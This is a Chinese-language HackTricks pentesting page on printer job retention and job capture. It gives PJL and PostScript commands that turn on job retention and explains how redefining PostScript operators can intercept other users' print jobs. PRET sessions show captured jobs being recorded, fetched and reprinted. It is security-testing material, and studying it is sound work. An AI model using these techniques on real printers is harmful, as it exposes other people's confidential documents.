hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md
2023-08-03 19:12:22 +00:00

8.6 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

作业保留

某些打印机可以从Web服务器访问存储的打印作业。通常情况下必须显式激活作业保留功能可以使用标准的PJL命令或专有的PostScript代码来完成。作业将保留在内存中并可以从控制面板重新打印。

PJL

可以通过设置PJL HOLD变量来为当前文档启用合法的作业保留如下所示

@PJL SET HOLD=ON
[actual data to be printed follows]

打印作业保留在内存中,并可以从打印机的控制面板重新打印。这个功能被许多打印机支持,然而似乎只有一些爱普生设备允许使用@PJL DEFAULT HOLD=ON设置永久作业保留。

如何测试这种攻击?

使用PRET 中的hold命令在pjl模式下检查是否可以设置永久作业保留

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScript提供类似的功能但是它是基于型号和供应商的。对于HP LaserJet 4k系列和各种Kyocera打印机可以通过在PostScript文档前添加以下命令来启用作业保留功能

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

虽然在理论上可以使用startjob操作符永久启用PostScript作业保留但是CUPS在每个打印作业开始时都会使用<< /Collate false >> setpagedevice显式重置此设置。然而,为了对抗这种保护机制,攻击者可以永久重新定义setpagedevice操作符,使其完全无效。

如何测试此攻击?

在ps模式下使用PRET中的hold命令:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

任务捕获

如上所述通过打开打印对话框激活作业保留是可能的但不常见。然而使用PostScript可以完全访问当前的打印作业并且使用startjob运算符甚至可以打破服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序这种功能有可能捕获所有文档。

PostScript

通过能够钩入任意的PostScript运算符可以操纵和访问外部的打印作业。为了解析发送到打印机的实际数据流可以应用PostScript语言的一个很酷的特性使用currentfile运算符将自己的程序代码作为数据读取。通过这种方式可以通过读取并将要由PostScript解释器处理的整个数据流存储到打印机设备上的文件中来访问整个数据流。如果打印机不提供文件系统访问权限捕获的文档可以存储在内存中例如在永久的PostScript字典中。
一个实际的问题是决定应该钩入哪个运算符因为在PostScript解释器处理此运算符之前无法访问数据流。由于攻击者希望从一开始就捕获打印作业所以重新定义的运算符必须是包含在PostScript文档中的第一个运算符。幸运的是使用CUPS打印的所有文档都被压缩成一个固定的结构currentfile /ASCII85Decode filter /LZWDecode filter cvx exec开头。基于这种固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(即打印)该文件。对于不是CUPS的打印系统,这种攻击也应该是可能的,但需要调整运算符。请注意通常包括介质大小、用户和作业名称的PostScript头部无法使用此方法捕获因为我们首先在实际文档的开头进行钩入。另一种在每个打印作业开始时进行钩入的通用策略是设置BeginPage系统参数如果打印机支持的话大多数打印机都支持。这种漏洞可能已经存在于打印设备中几十年了因为它仅滥用了PostScript标准定义的语言结构。

在ps模式下使用PRET中的capture命令:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

现在打印任意文档确保PRET未连接以免阻塞打印通道。之后您可以列出、获取或重新打印已捕获的文档

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥